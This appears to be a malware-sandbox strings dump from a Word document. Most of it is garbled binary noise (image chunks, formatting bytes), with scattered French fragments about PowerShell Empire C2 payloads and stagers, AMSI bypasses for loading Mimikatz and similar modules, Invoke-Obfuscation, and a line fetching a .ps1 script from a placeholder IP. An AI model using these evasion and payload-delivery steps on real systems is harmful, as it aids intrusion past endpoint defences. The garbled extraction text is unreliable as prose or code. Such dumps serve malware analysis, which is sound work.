hP1? ]X}C!GSzc3cT+9\<'PRt`=8pJ|H3^K{l@5@i=#$-U.7p)m<O_t!JsRKeOLIS}IvYx%J/)'@,MmQagH]Og+B)+tLwQq/<mt?9W06'2|zS}Ff(FQaJT8IKP)yBwXH$p<k6Ch-p0+-'L)#p(* 0OvO|B

Ansi based on Dropped File (~WRD0001.tmp)

hpU0J3peut lancer l excution automatique d un script Empire (resource) sur un agent

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

hpU0Jhhh40Jhc946hpUhc94hc94h. 6hc94h. hhh. h/#5Gnration du payload Empire (afin d tablir une connexion authentifie entre l agent et le C2 via un stager)

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

hpU0Jhi?hi?0J*Modules importants

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

hpU0JhVhV0JhVhV0J6

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

hpUhChWhChCh|r>*hpU>*hZ>*2sudo apt install bloodhound

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

hr0J$jhwzhwzUmHnHsHuhpU>*hphp>*hphn5>*$jhphpUmHnHsHuhwzhp0J5UhpUhp5hphp5hn5hp0click ont t utiliss, pour (respectivement) faciliter la cration de modules python et enjoliver/dynamiser une interface en ligne de commande :

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

hr0J5hwzhr0J

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

hr0JUhh/Wh/WhzhpUhqhzhL9scriptEnd += | Out-String | %{$_ + \"`n\"};"`n +str(moduleName)+ completed!"

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

HRV2umI0aDm`

Ansi based on Dropped File (~WRD0001.tmp)

Ht5N'=d!&VMw:@b?z<@Q_Z2wEvj4^"f1oRvR!ff2%yZ: yxh3(}+R,,1tx8S\r^n* ^.o!jz.1Cc>s|x

Ansi based on Dropped File (~WRD0001.tmp)

html : ConvertTo-Html ,

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

HTp@YT:x &4k!G'N!g

Ansi based on Dropped File (~WRD0001.tmp)

https://github.com/BC-SECURITY/DEFCON27

Ansi based on Hybrid Analysis (c96ab20d969e27333a77b49ba7da2fd426f58955f7f3284058bf29257118cf0c.bin)

https://github.com/BC-SECURITY/Empire

Ansi based on Hybrid Analysis (c96ab20d969e27333a77b49ba7da2fd426f58955f7f3284058bf29257118cf0c.bin)

https://github.com/BC-SECURITY/Empire/blob/master/lib/common/bypasses.py

Ansi based on Hybrid Analysis (c96ab20d969e27333a77b49ba7da2fd426f58955f7f3284058bf29257118cf0c.bin)

https://github.com/BC-SECURITY/Empire/commits/master/lib/common/bypasses.py

Ansi based on Hybrid Analysis (c96ab20d969e27333a77b49ba7da2fd426f58955f7f3284058bf29257118cf0c.bin)

https://github.com/BC-SECURITY/Empire/pull/457

Ansi based on Hybrid Analysis (c96ab20d969e27333a77b49ba7da2fd426f58955f7f3284058bf29257118cf0c.bin)

https://github.com/Beijaflore-Security-LAB/EmpireExceller

Ansi based on Hybrid Analysis (c96ab20d969e27333a77b49ba7da2fd426f58955f7f3284058bf29257118cf0c.bin)

https://github.com/cobbr/PSAmsi

Ansi based on Hybrid Analysis (c96ab20d969e27333a77b49ba7da2fd426f58955f7f3284058bf29257118cf0c.bin)

https://github.com/danielbohannon/Invoke-Obfuscation/blob/master/Invoke-Obfuscation.psd1

Ansi based on Hybrid Analysis (c96ab20d969e27333a77b49ba7da2fd426f58955f7f3284058bf29257118cf0c.bin)

https://github.com/EmpireProject/Empire/blob/master/lib/powershell/Invoke-Obfuscation/Invoke-Obfuscation.ps1

Ansi based on Hybrid Analysis (c96ab20d969e27333a77b49ba7da2fd426f58955f7f3284058bf29257118cf0c.bin)

https://pypi.org/project/click/

Ansi based on Hybrid Analysis (c96ab20d969e27333a77b49ba7da2fd426f58955f7f3284058bf29257118cf0c.bin)

https://python-poetry.org/

Ansi based on Hybrid Analysis (c96ab20d969e27333a77b49ba7da2fd426f58955f7f3284058bf29257118cf0c.bin)

https://twitter.com/_vinnybod/status/1386442836417994752

Ansi based on Hybrid Analysis (c96ab20d969e27333a77b49ba7da2fd426f58955f7f3284058bf29257118cf0c.bin)

https://www.virustotal.com/gui/

Ansi based on Hybrid Analysis (c96ab20d969e27333a77b49ba7da2fd426f58955f7f3284058bf29257118cf0c.bin)

https://www.youtube.com/watch?v=6J8pw_bM-i4

Ansi based on Hybrid Analysis (c96ab20d969e27333a77b49ba7da2fd426f58955f7f3284058bf29257118cf0c.bin)

https://www.youtube.com/watch?v=F_BvtXzH4a4

Ansi based on Hybrid Analysis (c96ab20d969e27333a77b49ba7da2fd426f58955f7f3284058bf29257118cf0c.bin)

https://xlsxwriter.readthedocs.io/

Ansi based on Hybrid Analysis (c96ab20d969e27333a77b49ba7da2fd426f58955f7f3284058bf29257118cf0c.bin)

hU0J6hUhU0J6

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

hU0Jh,Lh,L0J

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

hUo!97 1Q

Ansi based on Dropped File (~WRD0001.tmp)

hUV!aFH+$[}8*|u*O

Ansi based on Dropped File (~WRD0001.tmp)

hV0JhVh+R~h. 0JhO<3h. jU8 HYPERLINK "mailto:jamarir817@beijaflore.com" jamarir817@beijaflore.com)

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

hvC|"Ma*$#6-GpedI@Kg

Ansi based on Dropped File (~WRD0001.tmp)

hvS;9?2i}U)z1+Onf1LqA.xC-<u]{Wwn)9;]Z=r=Ywiu)xKnkvyE[7;/{yPuYoTn-SQo/|7<v?gvNQaL~4Tu<;_Fg`LL26$O\hKE0u|{&ynIFG

Ansi based on Dropped File (~WRD0001.tmp)

HxfJLGq7T256o`%yeW~TuDxRO[Lk[;;itd0,Bz4BwbdsyAmuD%R)6

Ansi based on Dropped File (~WRD0001.tmp)

hxrj]I:o"~:o@u$o!1H~HNF\?ez<ux:

Ansi based on Dropped File (~WRD0001.tmp)

hydh!6hffh0JjUhhhhh{oh?h?h?hmyhmyjhmyhmy6Uhmyhmy6$jhmyhmyUmHnHsHuh;h|h|jh{hmy6Uh6uh{hmy6hmy6$jh{hmyUmHnHsHuhmy bypasses enable loading future modules without issue (Mimikatz, PSInject, Powerup, & ).

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

HYPERLINK "https://amsi.fail/" https://amsi.fail/

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

HYPERLINK "https://github.com/BC-SECURITY/DEFCON27" https://github.com/BC-SECURITY/DEFCON27

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

HYPERLINK "https://github.com/BC-SECURITY/Empire" https://github.com/BC-SECURITY/Empire

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

HYPERLINK "https://github.com/BC-SECURITY/Empire/blob/master/lib/common/bypasses.py" https://github.com/BC-SECURITY/Empire/blob/master/lib/common/bypasses.py

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

HYPERLINK "https://github.com/BC-SECURITY/Empire/commits/master/lib/common/bypasses.py" https://github.com/BC-SECURITY/Empire/commits/master/lib/common/bypasses.py

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

HYPERLINK "https://github.com/BC-SECURITY/Empire/pull/457" https://github.com/BC-SECURITY/Empire/pull/457

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

HYPERLINK "https://github.com/Beijaflore-Security-LAB/EmpireExceller" https://github.com/Beijaflore-Security-LAB/EmpireExceller

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

HYPERLINK "https://github.com/danielbohannon/Invoke-Obfuscation/blob/master/Invoke-Obfuscation.psd1" https://github.com/danielbohannon/Invoke-Obfuscation/blob/master/Invoke-Obfuscation.psd1

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

HYPERLINK "https://pypi.org/project/click/" https://pypi.org/project/click/

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

HYPERLINK "https://python-poetry.org/" z6vRVgdVdgdV.xz|~468:>BD "tvxz~JLPRTVhi)MUhffhi)M0JhJhi)M0Jh

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

HYPERLINK "https://twitter.com/_vinnybod/status/1386442836417994752" https://twitter.com/_vinnybod/status/1386442836417994752

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

HYPERLINK "https://www.youtube.com/watch?v=6J8pw_bM-i4" https://www.youtube.com/watch?v=6J8pw_bM-i4

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

HYPERLINK "https://www.youtube.com/watch?v=F_BvtXzH4a4" https://www.youtube.com/watch?v=F_BvtXzH4a4

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

HYPERLINK "https://xlsxwriter.readthedocs.io/" https://xlsxwriter.readthedocs.io/

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

hYS7W<+t\smzabgkDDD5.wo_\wnSU{kCotvvCo0DDDDfV7""""bJ#""""F''xIy&DDDDn:2'?<c!""""vK%}%>S^dL^I_`;ud/_|s/ """bTBWrWWWNaoA@~8m-[ :o :ooL TIENDB`PK

Ansi based on Dropped File (~WRD0001.tmp)

hYX9Z'VQ"@aZa1*$(b%(f@234cQ#A.9dDF%Ws2<tH4V(H

Ansi based on Dropped File (~WRD0001.tmp)

HYZGT=!F0!Bhq^+&?jUIRc:bW>Q-bwa_">T*SVZ}4f/oz4L-i(7>LL'g<^fIMK]>tK`Hh$'9\L'vms--z

Ansi based on Dropped File (~WRD0001.tmp)

HzNeRb'O,=PWxe

Ansi based on Dropped File (~WRD0001.tmp)

h{0Jh.xh1a0J

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

I!WWJBeemWH%e,Du'v*DZ*'Tg||0&0ok|-qqZk2?<2Sb

Ansi based on Dropped File (~WRD0001.tmp)

i"B*%LIQSp|Y">c@C?R7}FEWnUv89"'b12xB7E1;;0-^hDV*s`3[yjy0_s{@M?i.G]aB.jxZ*%~I&A$y/]zjE`x^?^MbBIUwb2CEK>q@_Gm/O@0O044'QF pDvLOA%fU@+E~o*\z$.&M;.E~A0a TXcnf2nE

Ansi based on Dropped File (~WRD0001.tmp)

i"Ot|O]B!y!3b@

Ansi based on Dropped File (~WRD0001.tmp)

I%eklD]L+ HyGx3!k%wBKJ1:&#9O(IO'g3Nx@]XI\gk.+(xRB{^mo.XpIg="dF+HC<6]>B[yl>9wy1W/`UIJEM"2Y,*:

Ansi based on Dropped File (~WRD0001.tmp)

I'7Q=k|/6?bOfz`ZJA$|NR]Qmx0<0~_/oib['_nC5C!hQ(sM|mXi"~CYF]UO<3x$l?bYxI-eqa_7Aa&>o2=T+}

Ansi based on Dropped File (~WRD0001.tmp)

i(\tfsI9N:{xi[U3@Icb-f;/m

Ansi based on Dropped File (~WRD0001.tmp)

i)b6;UnqGJAAAAAAw.*qO^(#ozpuu466R^^n

Ansi based on Dropped File (~WRD0001.tmp)

I+Ts+cqoyh!`t6.GvY;O

Ansi based on Dropped File (~WRD0001.tmp)

i,+E6MA8op+#UX&9T4GwWy

Ansi based on Dropped File (~WRD0001.tmp)

I-#W@yl/=GeA3LVf

Ansi based on Dropped File (~WRD0001.tmp)

I.$2;O4LMd/:-HI7%d?@mR/^T!BFW'/&@7m

Ansi based on Dropped File (~WRD0001.tmp)

I.X\l-cso6d>aDSI}OcT:G{PF-):L!y

Ansi based on Dropped File (~WRD0001.tmp)

i/~e0OwZZxKs#;X!@%U#

Ansi based on Dropped File (~WRD0001.tmp)

I0"(;_~S=

Ansi based on Dropped File (~WRD0001.tmp)

I337BCQpa(

Ansi based on Dropped File (~WRD0001.tmp)

I3G> 3ujn[S~tSZQ|}O;A

Ansi based on Dropped File (~WRD0001.tmp)

i6JFDcagG

Ansi based on Dropped File (~WRD0001.tmp)

I6Ti(!;9_x"hU5F[.f%6-(PdWj+<;g'BB iJx&5ey

Ansi based on Dropped File (~WRD0001.tmp)

i7mB]Z+"k6$@"ZR>c$`KL]V03cd}l6$TA{v/

Ansi based on Dropped File (~WRD0001.tmp)

i8qI?6J9O{x?euFBg]&bsBySfW(lgAfGw\n4

Ansi based on Dropped File (~WRD0001.tmp)

I8Vd|| #I/v)d.*rdlbqxO:u:Ibi:.QesY;&M(ZfYT4m]?br2s/Yo!xgu|%0-\gJ9"$P+F^y~pZ&DNp+wt`:t8

Ansi based on Dropped File (~WRD0001.tmp)

I9w=H??:e\*dP0Q.+n" MDLHW

Ansi based on Dropped File (~WRD0001.tmp)

I:k.Pa+kUhy+4>$qo:yB+FMJ8ohMl"zFqv:DO0[[GKT[&u:NxqTw"d(S?F0_~Lq-/-Lxs0kjr%i

Ansi based on Dropped File (~WRD0001.tmp)

I>9jQU)Go(|pw@Q0Jlsr>_>AOEM->?Ym!zXWxZ(+-

Ansi based on Dropped File (~WRD0001.tmp)

I?@i/>#rr(=-vH^X.)t.3:(:xV45q5kJRU?We0ShPYzA`0OuK$xr

Ansi based on Dropped File (~WRD0001.tmp)

i?u3S]K@,:fIjy_hi8:6]u?31@&RV}L6UDAT&b\y>8Gvx(FJ(=9qj%U#sXID4iV.fIL^yFz6Asr-\*[2AXXH7">*L0)'r%"QvBss>"y9tO9V{~Z?i^o|aqyy6$WVNo

Ansi based on Dropped File (~WRD0001.tmp)

i[W4S]3 /ROH`Ae=N

Ansi based on Dropped File (~WRD0001.tmp)

I\-l GsE5k

Ansi based on Dropped File (~WRD0001.tmp)

I\4lccEHm_@<6.'&t&z>6w>g[^WbweRu'aC>nO~d}>Y4?J=y|+25k|%:{/t^]}';acz

Ansi based on Dropped File (~WRD0001.tmp)

i\H()>XgYzkzHs$(6P[P*q$+g} u<(wgslx<KWWw(n]==W"f_?zts9Ik,4idmHKc,mL@cXN*D:6)&L0a?Bv .30\_f55<N5yE@Rx_RFb/d

Ansi based on Dropped File (~WRD0001.tmp)

i^3~AfPWQ3(,y(\ct@]`7kj")Q7y9.O-z9'V\{i1?)M/3./bmKB:*_n,6_2hG154U^g:~PS8ShY=U^$89~NJ,(4_-F)Bk)?v#"

Ansi based on Dropped File (~WRD0001.tmp)

i^a4gD#_M> &m=u}h`AKM}b':hw`u]4xK+

Ansi based on Dropped File (~WRD0001.tmp)

I^mGugft\,oq1q|?])X]cG]]c~;<`1P3V=D/_Sz#1ZZ#W+MQ@gUg;'r3foW]%@BcAN_<=,?.Db>t}T|t}!8X (1*-M`V1RXskn3kF)uX(wYE5@9RkH;NlSW]k3F7lccs&RrrsdEzbL]r;|563?{_~TNM}*#Mi)^~vd=&BZ"\/}=il$=3%kC<XW$OI@BkQw>1n"#qF?161W"^zyuMV|F"~z~@bWs\//{9&T2y}ILJ7;xZ

Ansi based on Dropped File (~WRD0001.tmp)

I_YiGu,wrU>A5nU_kx+@7jJ]{fF9@c:""1J<C=Az7n]H6<T;N#yed

Ansi based on Dropped File (~WRD0001.tmp)

I`kr/^Olx1@!Awc{

Ansi based on Dropped File (~WRD0001.tmp)

IbR)}7d"m&VjQy*<vFwYg/D/J2H"w6It&\kqs,>BvB^

Ansi based on Dropped File (~WRD0001.tmp)

Ici, on va numrer les standalones (scripts PowerShell) l aide d un script PowerShell. Ce dernier va, pour chaque standalone, le sourcer:

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Id#d^Lj<ghTjW

Ansi based on Dropped File (~WRD0001.tmp)

Id3N~_k[=cEslEH1Bs^}-v72CBCR}BpGfSoEj:~k

Ansi based on Dropped File (~WRD0001.tmp)

idQ#c,StqYrn+c8C+U/$z IUF

Ansi based on Dropped File (~WRD0001.tmp)

idtx7,es

Ansi based on Dropped File (~WRD0001.tmp)

iduz/_UAP~E@H1v;>lqw~NeZmn5Mg,ssU7n3_aTP!rdC2,\M$Z^L}IX'=EqY#F=/

Ansi based on Dropped File (~WRD0001.tmp)

IEBi<T~EdW2pRjs'0.,E&itNTys@ZX?Y#S1#iz?j7[i=T[8g)KkeUoOOn5~?dwGsbS|jNG~=UDj$*7uoYJv |@<@D^c<s~|

Ansi based on Dropped File (~WRD0001.tmp)

IENDB`PK

Ansi based on Dropped File (~WRD0001.tmp)

If($PSVERsIonTAblE.PSVERsIOn.MAJOR -ge 3){

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

if+,7.D3B&Th/rb3k*zS2GgGZh.0n"SfWkfi*crOQhnddfVAF6=F{H&L0'*O

Ansi based on Dropped File (~WRD0001.tmp)

iFMx77a|w@;OWCyD~SZt]\jj;\r'WQx+'0M#!eqy%9>6 Cwh)iQHO9Om#~_?rjQWdkXY7D{1-wyWunvW<Km&or7yyw<;(xX,?d_r1l=<eWjndBzw%=%DlF34'>Q[-*C;UG.Z*f+"H<@k]l^O'/{I:~$tSfN9dWKWc~xSC(F#mJTYhyqgz(0}5zh^;EY~?r/niFHnb!Kd"2<m$MD=>MFQ7o 65jj&^n<:FId2pTn<QW35xbT@Z(w&vf(W8qjo&HJj\Jr@S}AHP P }Su4EVx"Br?\CB'-`fD7TL/

Ansi based on Dropped File (~WRD0001.tmp)

iG'C)n]Kkxfcj9F7l

Ansi based on Dropped File (~WRD0001.tmp)

ig@X6_]7~

Ansi based on Dropped File (~WRD0001.tmp)

IGbv1+Xz~X/-2=4J_}WN0TM@~a,=?`Tu1mhb>eVb%>Z.9_Kcc6b1'?1JW

Ansi based on Dropped File (~WRD0001.tmp)

igZAi;FM@

Ansi based on Dropped File (~WRD0001.tmp)

ih/$Kyt}Lxy,gj=7s0x-'q,[?ul6LUP

Ansi based on Dropped File (~WRD0001.tmp)

IHDR%2%sRGBgAMAapHYs%%IR$tEXtSoftwareGreenshot^UIDATx^g\7w^0

Ansi based on Dropped File (~WRD0001.tmp)

IHDR%SSGggAMAapHYs%%IR$tEXtSoftwareGreenshot^U^eIDATx^y@;L/$1=

Ansi based on Dropped File (~WRD0001.tmp)

IHDR)UsRGBgAMAapHYs%%IR$tEXtSoftwareGreenshot^UIDATx^y\GxG#NwU0

Ansi based on Dropped File (~WRD0001.tmp)

IHDR1X9sRGBgAMAapHYs%%IR$tEXtSoftwareGreenshot^UIDATx^G<YX8PJP=Ow^~8VHO_Ar$$U}hHUl!3=o/j0NhC64N_8B<NE!=W}v^|gfo^n?!-Kv)QcQW%>cZf<Uf:Q`:\egLdj=h@+lY>}^q2owW^\!s6Di'

Ansi based on Dropped File (~WRD0001.tmp)

IHDR4*sRGBgAMAapHYs%%IR$tEXtSoftwareGreenshot^U:IDATx^1$qr ABPB@D~S"l88($\@w2p+#8bpn3?xlh?-^pxvG#7y$gmnvs}=}'Ox?]~_}>}

Ansi based on Dropped File (~WRD0001.tmp)

IHDR6sRGBgAMAapHYs%%IR$tEXtSoftwareGreenshot^UZIDATx^y\'4f5i9]AqA

Ansi based on Dropped File (~WRD0001.tmp)

IHDR=1sRGBgAMAapHYs%%IR$tEXtSoftwareGreenshot^UAIDATx^w\S??

Ansi based on Dropped File (~WRD0001.tmp)

IHDR>HTZsRGBgAMAapHYs%%IR$tEXtSoftwareGreenshot^UIDATx^|Tf#qJ"$`q).b@5{n. g>3gsnm88Q488G8<E3l`98?!::D

Ansi based on Dropped File (~WRD0001.tmp)

IHDR@6TsRGBgAMAapHYs%%IR$tEXtSoftwareGreenshot^UUIDATx^sH6d'VN@9L"%RDsqly[u{N(~bOw?}'a

Ansi based on Dropped File (~WRD0001.tmp)

IHDR\sRGBgAMAapHYs%%IR$tEXtSoftwareGreenshot^UIDATx^}pUw;;g[j

Ansi based on Dropped File (~WRD0001.tmp)

IHDRBsRGBgAMAapHYs%%IR$tEXtSoftwareGreenshot^UIDATx^$Ey:Hx%!%C'!mxx{v\Uw3}U\f>(Q]EqPJ(JtQA).8(,7w}pzNW4qBq8Nuw2/}=?___t?9_)@M<|Nwu_YU2neHK{uHX*eXy9@KX_Z9+pvfyguj?>eI8}kg

Ansi based on Dropped File (~WRD0001.tmp)

IHDRE#'sRGBgAMAapHYs%%IR$tEXtSoftwareGreenshot^U>IDATx^Me^_/\X}H\R\Ktk`Y5jAb0`0@8{M>'7\7_RJ)RJ1R.RnKY)R^OKY)R_NRVJ)s}gx_GtW<>_RJ)^^>R<o2t'kl.X}.[~u]krdg}oM<BRJ|O,$JO2+h a62^<~I>g\]i>kgndR>/9TC$LU2e`W$bgbS>y8]|N>R>_*9{Pu3cAM|ytPO|J)|jP3428cN99gPz79|lcQGz,qyxP{nxp<ge

Ansi based on Dropped File (~WRD0001.tmp)

IHDRE|\=[sRGBgAMAapHYs%%IR$tEXtSoftwareGreenshot^U<WIDATx^w\??Z;>.[@Td"""DETTjm(*]~ZmV***N:qG^o?InrnWN{3X;3!<` 3u1APk3Gr[9+&.j

Ansi based on Dropped File (~WRD0001.tmp)

IHDRFgAMAapHYs&?tEXtSoftwareGreenshot^UIDATx^wY

Ansi based on Dropped File (~WRD0001.tmp)

IHDRi=~sRGBgAMAapHYs%%IR$tEXtSoftwareGreenshot^UIDATx^nK;BBNCCgQC]84c6

Ansi based on Dropped File (~WRD0001.tmp)

IHDRNsRGBgAMAapHYs%%IR$tEXtSoftwareGreenshot^U7UIDATx^g\W7M[4-]cAD@E

Ansi based on Dropped File (~WRD0001.tmp)

IHDRWsRGBgAMAapHYs%%IR$tEXtSoftwareGreenshot^UIDATx^w\(!

Ansi based on Dropped File (~WRD0001.tmp)

II'M9OpX\:7o7fSNhcfzy5q)SS@szO8V>jo:?a]|v|$;a4v@d1YHlYg|G=At`}{o4o@H

Ansi based on Dropped File (~WRD0001.tmp)

II<B^S<VB4Z\=o=$uX0^*Vza<~~a9}\/eO|~V?O}NDqqPun7'uH?'#1GxU

Ansi based on Dropped File (~WRD0001.tmp)

Ik'^5IL/t7o>lf_UM=o:#ssjMz?`C]&i Api

Ansi based on Dropped File (~WRD0001.tmp)

ik2jP&BFL5Oc]ci.{qfsBg;z7S43nL:V+2EsbMd^CtZMym#M6S2W[P+f~Xv'3tx]KeM^ QFjZU'ZehfF|&?pElz}bwK%a@Q}m

Ansi based on Dropped File (~WRD0001.tmp)

Il dfinit

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Il se peut que l agent soit color diffremment. Sa couleur dpend du paramtre DefaultDelay la cration du listener (5 secondes par dfaut)

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

imHUEscf5,|f%G LhT{z "LgnUrEG|s-_3BcOpMi[~WOA;Sfbaq%_(t@"c`rlpxzvOL}+aQyM:<l\kU6Gl{;c:iUg'2z;[3reX-o2#>OEGf2VJKv5N$lm)ov&Ym,XopN}|DkZG}hlq/lFjJpf+8UBa0{5}(sn`TDpTfyPl}'4*A?_Mojs{wwq]L^&|>uYs=8f{+F+'Vwz.=k.o|em6"+f~>z2yY3zlv

Ansi based on Dropped File (~WRD0001.tmp)

Import-Module ./Invoke-Obfuscation.psd1

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

in payload, -w 1 close automatically the window

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Installation et liste des fichiers installs

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

interact <NAME>

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

IntranetName

Unicode based on Runtime Data (WINWORD.EXE )

Introduction

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Invoke-Obfuscation

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Invoke-Obfuscation est flagg. On utilise kali

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Invoke-WebRequest HYPERLINK http://<IP>:8000/<PE.ps1>

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Inz2jAmlyX7pNl<\RJbY

Ansi based on Dropped File (~WRD0001.tmp)

iOhEO2BL)!DY-?lFbf6I*2-|:P

Ansi based on Dropped File (~WRD0001.tmp)

ioJ&AJM31^AOh[-kmoa`ibZ%\X^0a`@;%SK8&N>lqqhp#PO;R9q<w"=)wj

Ansi based on Dropped File (~WRD0001.tmp)

IOkkec5ZNr)f/&&(<Dw<Bd%QV&a3p|+sdFc :3J

Ansi based on Dropped File (~WRD0001.tmp)

IOOH]T|yS(Q8S&8^bp+{W&j*{,8u\FMB8!B8i/*r<|):nLFiJynF(rD;3[(t(JO}IWTM4ak(I

Ansi based on Dropped File (~WRD0001.tmp)

iPECQ??~3wF=/]{wtr0Hz $!

Ansi based on Dropped File (~WRD0001.tmp)

iq.dPd:?}q|w]/tzfid>By0CmY`vI

Ansi based on Dropped File (~WRD0001.tmp)

iR)3]u~V#[;|Mx~H=vF+u^Sa>jdo^Dx6*Kaw7?73h{1\U>M}%~o_6pD1Z0yvCd<7[%R>Xt??c%89.-9O?||o_G6^xVOQ*|yak~$?|m#3|URFroI{{F8.j\^|-Y:S'.uHx$@JOYHiEu[RBCl&?U

Ansi based on Dropped File (~WRD0001.tmp)

Ir5JJ VJvPBSP-\gJ'M_XVVU]utHBw-_vhn=C8_C4}7A,gItUK\3Uc6RsJU|hP%^#=TLLK 1R+x/uJU'_oaZ

Ansi based on Dropped File (~WRD0001.tmp)

IR:_cW/)i*>Pj6f:|yy2SN`C3>0yOXa}}jKf!,P?k4!8I!,KX

Ansi based on Dropped File (~WRD0001.tmp)

IRj"b(Uhbd#s$:a)/d%y{<cfvltt`wBCh'Z%(MeE4JvPZ+glt}

Ansi based on Dropped File (~WRD0001.tmp)

IS%\`B2-3W($tD/O<4\IJ#J|I"lT%T&4^$NN2<|b_<f!7JY4+4u~d9q<U=

Ansi based on Dropped File (~WRD0001.tmp)

is9y&.F9O]-6vz,<#wIr!+cX:5G%B:[

Ansi based on Dropped File (~WRD0001.tmp)

ISvv7/>qO5k{<}FkN

Ansi based on Dropped File (~WRD0001.tmp)

iS~5OUv-yt~rW&J=OwkGMq~wJr4p79EjS'4IbM?LEzrafJt

Ansi based on Dropped File (~WRD0001.tmp)

it>tk\sh5R>pjfosW7u(JR_Z5y4gb6Yj'3V{WmPojtzG0RMTz\&:sKaoS;uQ9SMvfqvj=liuod.zS?a4n.uKj 1Nvjp<9sj,M;)>&M8Z>*#VnZl7p:2_:0uB==nS?e"msS?<Rkd1Ze:otJ=]D;O.%=0ug;?vfb3M;fNS:9z8xL{324yoZz;nZ]N{sfAn/@jvfc.)'<%$1o3|_#SK=^g}s/ft[kXsy:QM9@93upvcgf@St.ujO,djK]]K{9g:|Cygw7Ltfc?=v8Tp_T-;lN^#{~ .vS/LQy)olrL,<B,s89<3})ZmW3n-

Ansi based on Dropped File (~WRD0001.tmp)

it_u5U+<'s>F6K]`oL4Z?,dqn2ekt{H*?{9?RVk],=./\ft;&)Yz,t$g&E<`!T`

Ansi based on Dropped File (~WRD0001.tmp)

iu)HKiKU$[67O>tAC!3!n(|x"~`hmRC<s)+eBG&hhQ:<B^>4W}5

Ansi based on Dropped File (~WRD0001.tmp)

iUh4hWHMAafoj<sO~pbS

Ansi based on Dropped File (~WRD0001.tmp)

iUrkX12HCDnGcU_1k>\$K$X?CHZ+^bfac{<lSv*v^&eL$oIL=v\e7T1<+Zvk

Ansi based on Dropped File (~WRD0001.tmp)

Iv8>cs E#")D;\S

Ansi based on Dropped File (~WRD0001.tmp)

iVAtj*WBIl_s6]*&: &jSs!,*V[ ?'x\{~Q

Ansi based on Dropped File (~WRD0001.tmp)

iv{BCak/a9)bhX+bw@Yg,Hv|

Ansi based on Dropped File (~WRD0001.tmp)

Iw20Z)DEO+t{q73Q2Qkw(y0E-1weUq\$#C"9CMdA0I_-\.*|imy'/&ay((((|{A`1D~Z[0`7;9(*a'Zfb1?AVVCcBMs&%uJ-4mk+3nocrdnPl'L41Z#G/[[G]k(dPl-G-:ap&HgEwMJ*q_C$;LD/+O+7F|)SkkT>v%/~oSsn!i{v$]&;)rbA?||='o3)$~EU: m`)Hqr"uG3J/!Wc/zLRN|)sh[cTGutEzCMM\?

Ansi based on Dropped File (~WRD0001.tmp)

Iw^?Omi!=s=^+t<i>Pc\

Ansi based on Dropped File (~WRD0001.tmp)

IX=&!k1q6S\[rmO9e&?Jm[`aix^fj3HOO#53O($+.}U!,)|us'M|`~0(9

Ansi based on Dropped File (~WRD0001.tmp)

